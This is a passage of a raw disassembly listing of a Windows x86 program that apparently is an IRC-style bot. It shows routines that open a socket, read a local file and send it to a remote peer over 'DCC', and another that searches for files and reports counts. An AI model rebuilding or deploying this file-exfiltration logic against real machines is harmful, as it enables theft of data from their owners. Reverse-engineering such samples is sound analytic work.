		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C09A


loc_40C058:				; CODE XREF: sub_40C040+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C058
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C09A:				; CODE XREF: sub_40C040+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0E5
		mov	edi, esi


loc_40C0E5:				; CODE XREF: ___:0040C0E1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0FA
		mov	edi, esi


loc_40C0FA:				; CODE XREF: ___:0040C0F6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C120	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C160	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1A0	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C200	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2E0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C310	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C310	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C360	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3D0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3F0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C40B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C40B:				; CODE XREF: sub_40C3F0+11j
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C440	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40C440	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4E0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA2E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C5AC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 8
		jmp	loc_40C9D5
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C4E0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5FA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C6A0
; ---------------------------------------------------------------------------


loc_40C5FA:				; CODE XREF: sub_40C4E0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C653:				; CODE XREF: sub_40C4E0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C665
		mov	eax, 5Fh
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C665:				; CODE XREF: sub_40C4E0+17Cj
		movsx	eax, al


loc_40C668:				; CODE XREF: sub_40C4E0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C653
		push	1
		push	ebx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_40C6BD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C6A0:				; CODE XREF: sub_40C4E0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: sub_40C4E0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		call	near ptr 2850000h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C724
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 8
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C4E0+201j
		push	0
		push	esi
		call	near ptr 2840B5Ch
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D808D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A00
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C4E0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C86D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: sub_40C4E0+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C925


loc_40C87C:				; CODE XREF: sub_40C4E0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C887
		mov	ebp, ebx


loc_40C887:				; CODE XREF: sub_40C4E0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 2840000h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		call	near ptr 283094Ah
		nop
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		call	near ptr 71AB615Ah
		nop
		cmp	eax, 1
		jl	loc_40C9EE
		cmp	edi, 1
		jl	loc_40C9EE
		sub	ebx, edi
		jnz	loc_40C87C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C925:				; CODE XREF: sub_40C4E0+396j
		push	esi
		call	near ptr 283061Dh
		nop
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9BA:				; CODE XREF: sub_40C4E0+338j
					; sub_40C4E0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9CF:				; CODE XREF: sub_40C4E0+1D8j
					; sub_40C4E0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9DC


loc_40C9D5:				; CODE XREF: sub_40C4E0+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C9DC:				; CODE XREF: sub_40C4E0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2830000h


loc_40C9EE:				; CODE XREF: sub_40C4E0+427j
					; sub_40C4E0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		nop
		call	near ptr 2830000h


loc_40CA2E:				; CODE XREF: sub_40C4E0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBD0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBF0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC90
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE91
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444AD4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CE0B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CE0B:				; CODE XREF: sub_40CC90+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5F76F7
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE7C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE7C:				; CODE XREF: sub_40CC90+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		call	near ptr 2830000h
		nop
		pop	ebx


loc_40CE91:				; CODE XREF: sub_40CC90+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF40	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
